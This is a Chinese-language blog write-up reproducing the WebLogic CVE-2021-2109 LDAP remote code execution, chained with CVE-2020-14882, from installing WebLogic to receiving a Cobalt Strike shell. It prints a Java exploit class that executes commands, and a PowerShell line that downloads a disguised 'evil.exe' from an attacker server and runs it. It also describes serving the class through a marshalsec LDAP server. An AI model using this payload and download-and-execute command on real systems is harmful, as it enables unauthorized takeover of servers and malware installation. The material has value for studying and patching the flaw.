weblogicCVE-2021-2109ldap远程代码执行漏洞复现（从weblogic环境搭建到漏洞复现CS上线） – 作者:quanpangshu

环境搭建

参考：

https://blog.csdn.net/zhlh_xt/article/details/76436807

下载链接：

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

开始安装：

| Java -D64 -jar wls1036_generic.jar |

| C:\Oracle\Middleware\user_projects\domains |
设置密码

搭建完毕

访问目标：

漏洞复现

准备工作：

ldap包下载 https://github.com/RandomRobbieBF/marshalsec-jar/archive/master.zip
构造java包进行编译：Request.java

| import java.io.BufferedReader;

import java.io.InputStream;

import java.io.InputStreamReader;
public class Request{

public Request() throws Exception {

Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});

InputStream is = p.getInputStream();

BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;

while((line = reader.readLine()) != null) {

System.out.println(line);

}


p.waitFor();

is.close();

reader.close();

p.destroy();

}

} |

如想上线CS把calc.exe修改为下载cs木马并执行命令

cd ../../Windows/Temp && powershell (new-object System.Net.WebClient).DownloadFile(‘http://vps/123.jpg’,’evil.exe’) & evil.exe

进行编译：注意目标环境是什么jdk就用什么jdk版本进行编译

编译好class包后上传到vps

开启http服务，下面放编译好的class包

用下载好的marshalsec包开启ldap服务：

通过burp请求:配合
CVE-2021-2109（ldap远程代码执行）和CVE-2020-14882（未授权访问）

cs接收shell

限制条件：目标可以出网，能够成功构造和发送包
